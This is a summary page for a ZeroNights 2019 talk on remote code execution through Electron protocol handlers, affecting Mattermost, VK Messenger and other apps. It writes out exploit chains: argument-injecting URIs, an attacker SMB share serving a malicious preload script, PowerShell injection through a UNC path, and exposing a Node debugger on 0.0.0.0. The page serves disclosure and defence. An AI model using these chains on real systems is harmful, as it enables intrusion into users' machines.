app setAsDefaultRCE Client: Electron, scheme handlers and stealthy security patches
Juho Nurminen (Mattermost)
ZeroNights 2019 · Day 1
Overview
In this insightful talk from ZeroNights, security researcher Juho Nurminen dissects a pervasive class of Remote Code Execution (RCE) vulnerabilities affecting applications built with the Electron framework. Nurminen's research, initiated in early 2019, uncovered that despite an earlier public fix for a similar vulnerability, numerous popular Electron applications remained susceptible to RCE through scheme handlers and command-line injection. The core issue revolves around the app.setAsDefaultProtocolClient API, which, when mishandled, allows attackers to inject arbitrary command-line parameters, leading to severe security compromises.

Key moments
- 0:00 Introduction: Electron scheme handlers and RCE
- 3:50 CVE-2018-1000006: app.setAsDefaultProtocolClient vulnerability
- 9:50 Case 1: Mattermost desktop app RCE exploit
- 15:00 Case 2: Unnamed app RCE via UNC paths, PowerShell
- 20:00 Case 3: Electron-wide RCE using -- delimiter bypass
- 26:00 Live Demos: Mattermost and VK Messenger RCE
- 33:00 Challenges of vulnerability disclosure and vendor coordination
- 38:00 Key takeaways: Dangerous APIs, platform features, update cadence
app setAsDefaultRCE Client: Electron, scheme handlers and stealthy security patches
Speakers: Juho Nurminen, Mattermost
Conference: ZeroNights
YouTube: https://www.youtube.com/watch?v=A9qJHqWYl_4
Overview
In this insightful talk from ZeroNights, security researcher Juho Nurminen dissects a pervasive class of Remote Code Execution (RCE) vulnerabilities affecting applications built with the Electron framework. Nurminen's research, initiated in early 2019, uncovered that despite an earlier public fix for a similar vulnerability, numerous popular Electron applications remained susceptible to RCE through scheme handlers and command-line injection. The core issue revolves around the app.setAsDefaultProtocolClient API, which, when mishandled, allows attackers to inject arbitrary command-line parameters, leading to severe security compromises.
Nurminen highlights a critical concern: Electron's practice of implementing "stealthy" security patches. Many significant fixes, including those addressing the vulnerabilities discussed, were deployed without public advisories or clear release notes. This lack of transparency means developers are often unaware of underlying issues, leading to a proliferation of outdated and vulnerable Electron applications in the wild. The talk not only details the technical intricacies of these exploits but also underscores the broader implications for software development, particularly the need for rigorous platform-specific awareness and transparent security disclosure.
The research culminated in the discovery of RCEs in several high-profile Electron-based applications, including VK Messenger, Postman, Epic Games Launcher, Hyper, and Missive, in addition to Mattermost. Nurminen's work serves as a stark reminder of the dangers inherent in seemingly innocuous APIs, the complexities of cross-platform development, and the paramount importance of staying current with framework updates, even when explicit vulnerability reports are absent.
Background
▶ Watch: Introduction: Electron scheme handlers and RCE (0:00)
The foundation of the discussed vulnerabilities lies in Electron, a popular hybrid desktop application framework that enables developers to build cross-platform desktop apps using web technologies like HTML and JavaScript. Essentially, Electron bundles the Chromium browser engine with Node.js and custom APIs, offering a powerful but complex environment. Nurminen also briefly touches upon Muon, an Electron fork that initially aimed for better security but has since become unmaintained and, consequently, highly vulnerable.
The central point of attack is the app.setAsDefaultProtocolClient API call. This function registers an application as the default handler for a specific URI scheme (e.g., mailto: for email or custom schemes for deep linking). On Windows, this registration process involves creating a registry entry that points to the executable and uses a simple format string, %1, to pass the URI to the application's command line. The critical flaw stems from the naive replacement of %1 with the full URI. If the URI contains special characters like double quotes or spaces, an attacker can inject additional command-line parameters directly into the application's launch command.
This vulnerability was first publicly addressed in CVE-2018-1000006, an RCE affecting Windows. The exploit leveraged Chrome's native support for launching arbitrary commands via command-line switches. For instance, a crafted URI like scheme://" --gpu-launcher="calc.exe" could be used. When a user clicked such a link, the vulnerable application would launch, and due to the injected command-line switch, Chrome would execute calc.exe, leading to RCE. Electron's initial patch for CVE-2018-1000006 was a blacklist of over 1,300 known Chromium command-line switches. However, as Nurminen and other researchers demonstrated, this approach was inherently flawed and easily bypassed.
Nurminen credits prior work in this area, including Dorian Sixtus, who published a bypass for CVE-2018-1000006 and released the electronegativity tool. Thomas Shadwell's Infiltrate 2019 talk on modern desktop applications and Andreas Link's 2016 Security Fest presentation on hacking Mattermost also contributed to the broader understanding of these issues. These prior efforts laid the groundwork for Nurminen's deeper investigation into the persistence and evolution of these RCE vulnerabilities.
Key Findings
▶ Watch: Case 1: Mattermost desktop app RCE exploit (9:50)
Juho Nurminen's research, conducted in early 2019, revealed that despite the patch for CVE-2018-1000006, a significant number of Electron applications remained vulnerable to similar Remote Code Execution (RCE) attacks. A critical overarching finding was Electron's problematic approach to security disclosure: many significant fixes were implemented without public advisories or clear documentation in release notes. This "stealthy patching" meant developers were largely unaware of the underlying security issues, leading to a lack of incentive to update their applications and thus leaving a vast ecosystem of outdated and vulnerable software.
Nurminen categorized his findings into three distinct cases, two application-specific and one generic, affecting Electron as a whole:
- Mattermost-Specific RCE: This vulnerability chain involved three key elements:
- The Mattermost desktop application supported a command-line switch (
--user-data-dir) to specify a custom user data directory. - It supported UNC paths (Universal Naming Convention), allowing the user data directory to point to remote SMB shares.
- The application insecurely loaded configuration files, specifically
bound_info.json, which could specify apreloadscript for theBrowserWindowconstructor. By combining these, an attacker could point the user data directory to a malicious UNC path, hosting abound_info.jsonthat instructed the Electron app to load and execute an attacker-controlled JavaScript file with full Node.js privileges, leading to RCE.
- Unnamed Muon App RCE: A specific application built on the unmaintained Muon fork exhibited a similar pattern but with a different RCE trigger.
- Like Mattermost, it supported the
--user-data-dircommand-line switch and accepted UNC paths. - The crucial difference was an assumption made by developers regarding valid Windows file system path characters. While Windows has restrictions on characters in local directory names, these do not apply to UNC paths pointing to remote (e.g., Linux) servers. This discrepancy allowed for PowerShell injection: a specially crafted UNC path, containing PowerShell commands, could bypass initial file system checks and later be passed directly to a PowerShell execution, resulting in RCE.
- Electron-Wide
--Delimiter Bypass: This was arguably the most impactful finding, affecting numerous Electron applications.
- Electron, following common command-line utility conventions, supported a
--delimiter to signal the end of command-line switch processing. This was even suggested as an official workaround for CVE-2018-1000006. - However, while Chromium's parser respected this delimiter, Node.js's parser did not. This meant that switches placed after the
--delimiter would still be processed by Node.js. - Crucially, this allowed for the injection of dangerous Node.js-specific switches, such as
--inspect=0.0.0.0:5858, which enabled remote debugging. An attacker could then connect to the exposed debugger via the Chrome DevTools Protocol and execute arbitrary code. - Nurminen's analysis of approximately 20 popular Electron apps revealed that five were vulnerable to this specific bypass, including VK Messenger, Postman, Epic Games Launcher, Hyper, and Missive. This widespread impact highlighted the severity of Electron's inconsistent parsing and opaque patching practices.
These findings collectively demonstrated that the initial fixes for Electron RCEs were incomplete, easily bypassed, and poorly communicated, leaving a significant portion of the Electron application ecosystem exposed to critical vulnerabilities.
Technical Deep Dive
▶ Watch: Case 3: Electron-wide RCE using -- delimiter bypass (20:00)
The technical depth of these vulnerabilities lies in exploiting the nuanced interactions between Windows' URI scheme handling, Electron's internal components (Chromium and Node.js), and developer assumptions.
Let's revisit the root cause, CVE-2018-1000006, as it underpins all subsequent bypasses. On Windows, when app.setAsDefaultProtocolClient registers an application, it creates a registry entry that typically includes the application's executable path followed by "%1". The %1 placeholder is then replaced with the full URI provided to the scheme handler. The vulnerability arises because this replacement is naive; if the URI contains characters like " or spaces, an attacker can inject arbitrary command-line arguments. For example, appscheme://" --gpu-launcher="calc.exe" would result in the command C:\path\to\app.exe "appscheme://" --gpu-launcher="calc.exe". The --gpu-launcher switch, supported by Chromium, allowed for arbitrary command execution. Electron's initial patch was a blacklist of known Chromium switches, which proved fragile.
Mattermost RCE: Insecure Configuration Loading via UNC Paths
The Mattermost RCE leveraged the command-line injection capability in conjunction with specific application logic:
- Command-line switch: The Mattermost desktop client supported
--user-data-dir. An attacker could injectmattermost:// --user-data-dir=\\attacker.com\share. - UNC Path Abuse: The
--user-data-dirswitch accepted a UNC path, allowing the application to load its user data from a remote SMB share controlled by the attacker. - Insecure
BrowserWindowConfiguration: Mattermost loadedbound_info.jsonfrom this user data directory. This configuration file, intended for storing window dimensions, was passed directly to theBrowserWindowconstructor without validation. Electron'sBrowserWindowAPI documentation reveals that its options parameter supportswebPreferences, which in turn has apreloadproperty. Thepreloadproperty specifies a script that is loaded and executed before other scripts in the renderer process and, crucially, has automatic access to all Node.js APIs, regardless of sandboxing settings. - Exploit Chain:
- Attacker sets up an SMB share (
\\attacker.com\share) containing a maliciousbound_info.jsonand apayload.jsfile. bound_info.jsonis crafted to include{"webPreferences": {"preload": "payload.js"}}.payload.jscontains Node.js code likerequire('child_process').exec('calc.exe').- When the victim clicks the crafted URI, Mattermost launches, attempts to load its user data from
\\attacker.com\share, reads the maliciousbound_info.json, and executespayload.js, leading to RCE.
Unnamed Muon App RCE: PowerShell Injection and Path Discrepancies
This vulnerability also began with command-line injection and UNC paths but exploited a different execution vector:
--user-data-dirand UNC Paths: Similar to Mattermost, the application supported--user-data-dirand accepted UNC paths.- Windows Path Assumptions: The key insight was that Windows imposes certain character restrictions on local file paths (e.g., disallowing
$or parentheses in directory names), but these restrictions do not necessarily apply to UNC paths pointing to remote servers (e.g., a Linux SMB share). Developers had assumed that any path passed would conform to Windows' local path rules. - PowerShell Injection: The application later made a direct call to PowerShell, passing the
--user-data-dirvalue as is without further validation. - Exploit Chain:
- Attacker crafts a URI like
muonapp:// --user-data-dir=\\attacker.com\share$\(calc.exe\). - The application processes the path. Although it contains characters invalid for a local Windows path, it's valid for a UNC path to a remote server.
- Later, the application executes a PowerShell command that includes this path. The injected
$(calc.exe)within the UNC path is interpreted by PowerShell, executingcalc.exe. This bypasses file system checks that would have crashed the application earlier if the path were treated as local.
Electron-Wide -- Delimiter Bypass: Node.js Debugger Activation
This generic Electron vulnerability exploited an inconsistency in command-line argument parsing between Chromium and Node.js:
--Delimiter: Theapp.setAsDefaultProtocolClientAPI, when invoked with the--delimiter (e.g.,appscheme:// --), was intended to prevent further command-line switches from being processed by Chromium, which was the basis for the original blacklist patch.- Node.js Parsing Anomaly: While Chromium's parser respected the
--delimiter, Node.js's parser did not. Arguments placed after--were still parsed by Node.js. - Remote Debugging Activation: This allowed an attacker to inject Node.js-specific switches, most notably
--inspect=0.0.0.0:5858. This switch enables the Node.js debugger and binds it to a specified IP address and port, making it accessible remotely. - Exploit Chain:
- Attacker crafts a URI like
vk-messenger:// -- --inspect=0.0.0.0:5858. - The victim clicks the link. VK Messenger launches.
- Chromium ignores
--inspectdue to--. - Node.js parses
--inspect=0.0.0.0:5858, silently starting a remote debugger listener on TCP port 5858. - The attacker, using a tool like
node-dev-exec(a wrapper for the Chrome Remote Interface), connects to the victim's IP on port 5858. - Through the Chrome DevTools Protocol, the attacker can then execute arbitrary Node.js code, achieving RCE.
- Stealthy Patches: Electron patched this in version 3.0 (with "no notes" in the release notes) and backported it to 2.0.9 (with a misleading note about DNS rebinding). This lack of clear communication meant developers had no indication of the severity of the fix.
These deep dives illustrate how seemingly minor differences in parsing or platform-specific behaviors, combined with insecure API usage, can lead to widespread and critical vulnerabilities in complex frameworks like Electron.
Demo / Proof of Concept
▶ Watch: Live Demos: Mattermost and VK Messenger RCE (26:00)
Juho Nurminen provided compelling live demonstrations of two of the discussed exploits, showcasing the practical impact of these vulnerabilities. The setup involved two virtual machines: a Kali Linux VM acting as the attacker and a Windows VM as the victim.
Mattermost Exploit Demo
- Attacker Setup (Kali Linux): Nurminen configured an SMB share on the Kali Linux VM. Within the share, a directory named
mattermostcontained two crucial files:
bound_info.json: This malicious configuration file was crafted to include{"webPreferences": {"preload": "payload.js"}}.payload.js: A simple Node.js script,require('child_process').exec('calc.exe'), designed to launch the calculator application on the victim's machine.
- Victim Interaction (Windows): On the Windows victim machine, a malicious web page hosted a link pointing to a crafted Mattermost URI:
mattermost:// --user-data-dir=\\attacker.com\share. - Exploit Execution: When the user clicked this link, Microsoft Edge prompted to open Mattermost. Upon confirmation, Mattermost launched. In the background, the application silently connected to the attacker's SMB share, loaded the malicious
bound_info.json, which in turn executedpayload.js. As demonstrated, the Windows calculator (calc.exe) immediately popped up on the victim's machine, proving successful RCE. The victim, intending to simply open a chat window, would have no indication of the underlying compromise.
VK Messenger Exploit Demo
- Initial Compromise (Windows): The VK Messenger demo started with the victim clicking a malicious link containing the Electron-wide
--delimiter bypass:vk-messenger:// -- --inspect=0.0.0.0:5858. - Silent Debugger Activation: This action launched VK Messenger. Critically, because of the Node.js parsing inconsistency, the
--inspectswitch was processed, causing VK Messenger to silently start a remote debugger listener on TCP port 5858, bound to0.0.0.0(making it publicly accessible). - Attacker Execution (Kali Linux): From the Kali Linux VM, Nurminen used a custom command-line tool named
node-dev-exec. This tool is a simple wrapper for the Chrome Remote Interface, a publicly available client for the DevTools Protocol. - RCE via DevTools Protocol: Nurminen executed
node-dev-exec <victim_IP> 5858 calc.exe. This command connected to the exposed debugger on the victim's VK Messenger instance and, using the DevTools Protocol, injected and executed the command to launchcalc.exe. Again, the calculator instantly appeared on the victim's screen, confirming RCE. Nurminen mentioned thatnode-dev-execis available on GitHub, allowing others to test and understand the exploit.
These live demonstrations vividly illustrate the ease with which these vulnerabilities could be exploited and the significant impact they have, often without any visible warning to the end-user.
Defensive Implications
▶ Watch: Key takeaways: Dangerous APIs, platform features, update cadence (38:00)
The findings presented by Juho Nurminen carry significant implications for developers, security professionals, and end-users of Electron applications. Understanding these implications is crucial for building more secure software and protecting against similar attacks.
app.setAsDefaultProtocolClientis a Dangerous API: The primary takeaway is that theapp.setAsDefaultProtocolClientAPI, and scheme handlers in general, represent an extremely dangerous attack surface. Developers should exercise extreme caution when implementing or reviewing code that uses this API. If a custom scheme handler is absolutely necessary, it must be accompanied by robust input validation and sanitization to prevent any form of command-line injection. Simply relying on framework-level blacklists is insufficient, as demonstrated by the numerous bypasses. The talk urges developers to question if a scheme handler is truly necessary for their application's functionality.
- Understand Platform-Specific Features: While Electron aims for cross-platform compatibility, developers must not ignore the underlying operating system's nuances. Features like Windows' support for UNC paths can have unexpected side effects when combined with command-line injection and insecure configuration loading. Assumptions about valid path characters, file system behavior, or shell execution environments (e.g., PowerShell) can lead to vulnerabilities that are missed in a purely cross-platform mindset. It is critical to know the platform on which the application is shipping and account for its unique characteristics.
- Electron's Stealthy Security Patches: Electron's documented history of not publishing clear security advisories or providing sufficient detail in release notes for critical fixes (like the
--delimiter bypass) creates a significant risk. This lack of transparency leaves developers unaware of serious vulnerabilities and removes the incentive to update their framework versions promptly. This is a systemic issue that Electron, as a framework maintainer, needs to address.
- Criticality of Framework Updates: Directly stemming from the "stealthy patch" issue, it is absolutely critical for developers to keep their Electron framework up to date, even if no public CVEs or detailed security advisories are released. Electron has adopted a 12-week release cycle, supporting only the last three major versions. This means applications must be updated roughly every eight months to remain on a supported and patched version. Relying on outdated Electron versions significantly increases the attack surface, as demonstrated by the Muon fork's inherent vulnerabilities.
- Browser-Level Mitigations are Not Foolproof: Microsoft has implemented mitigations in modern browsers like Edge and Internet Explorer, which now automatically percentage-encode special characters in URLs clicked from within the browser. This prevents direct command-line injection from web links opened in these specific browsers. However, Nurminen notes that this mitigation is not foolproof; such malicious links can still be opened from other applications or contexts that do not perform the same encoding, leaving a window for exploitation.
In summary, defending against these types of vulnerabilities requires a multi-layered approach: proactive secure coding practices, deep understanding of platform specifics, diligent framework maintenance, and an awareness of the broader ecosystem's security disclosure challenges.
Key Takeaways
app.setAsDefaultProtocolClientis a critical attack surface: This API, particularly on Windows, is highly susceptible to command-line injection and should be used with extreme caution, if at all. Rigorous input validation and sanitization are paramount.- Platform-specific knowledge is essential for cross-platform apps: Developers must understand the nuances and quirks of the underlying operating systems (e.g., Windows UNC paths, PowerShell execution) even when using cross-platform frameworks like Electron, as assumptions can lead to severe vulnerabilities.
- Electron's "stealthy" security patches pose a significant risk: The lack of clear public advisories and detailed release notes for critical fixes leaves developers unaware of vulnerabilities and delays necessary updates, perpetuating insecure applications.
- Regular framework updates are non-negotiable: Due to Electron's rapid release cycle and opaque patching, developers must commit to frequent updates (every 8 months for supported versions) to ensure their applications incorporate essential security fixes, even in the absence of explicit CVEs.
- Command-line parsing inconsistencies are dangerous: Differences in how bundled components (e.g., Chromium vs. Node.js) parse command-line arguments can create bypasses, such as the
--delimiter exploit, leading to unexpected RCE vectors. - Input validation from all external sources is crucial: Any data derived from user-controlled input, such as URIs from scheme handlers, must be thoroughly validated and sanitized before being used in critical operations like file system access or command execution.
About the Speaker(s)
Juho Nurminen is a security researcher who delivered this talk at ZeroNights. His in-depth research into Electron vulnerabilities, particularly those related to scheme handlers and remote code execution, began in early 2019. Nurminen's work led to the discovery of several critical vulnerabilities in popular Electron applications. Notably, he disclosed that just a week prior to giving this presentation, he joined Mattermost as a Product Security Engineer, one of the applications named in his research. He clarified that all the research presented was conducted independently before he joined the company and did not influence his findings.
Reviews
Dr. Zero (Offensive Security Researcher) — SOLID
Juho Nurminen didn't just drop a fistful of Electron zero-days; he exposed how the framework's maintainers sweep critical RCEs under the rug with silent patches. This is textbook parser differential exploitation combined with Windows UNC path abuse to pop shells in everything from Mattermost to Epic Games. If your enterprise runs Electron apps, this session changes your threat model today.
Heather Calloway (CISO) — MUST SEE
This research demonstrates how opaque patching practices by the Electron framework leave enterprise fleets exposed to zero-click remote code execution. If your organization relies on thick clients like Postman or Mattermost, this talk proves that waiting for a CVE to trigger your patching SLA is a failing strategy. It is required reading for your application security and desktop engineering leads.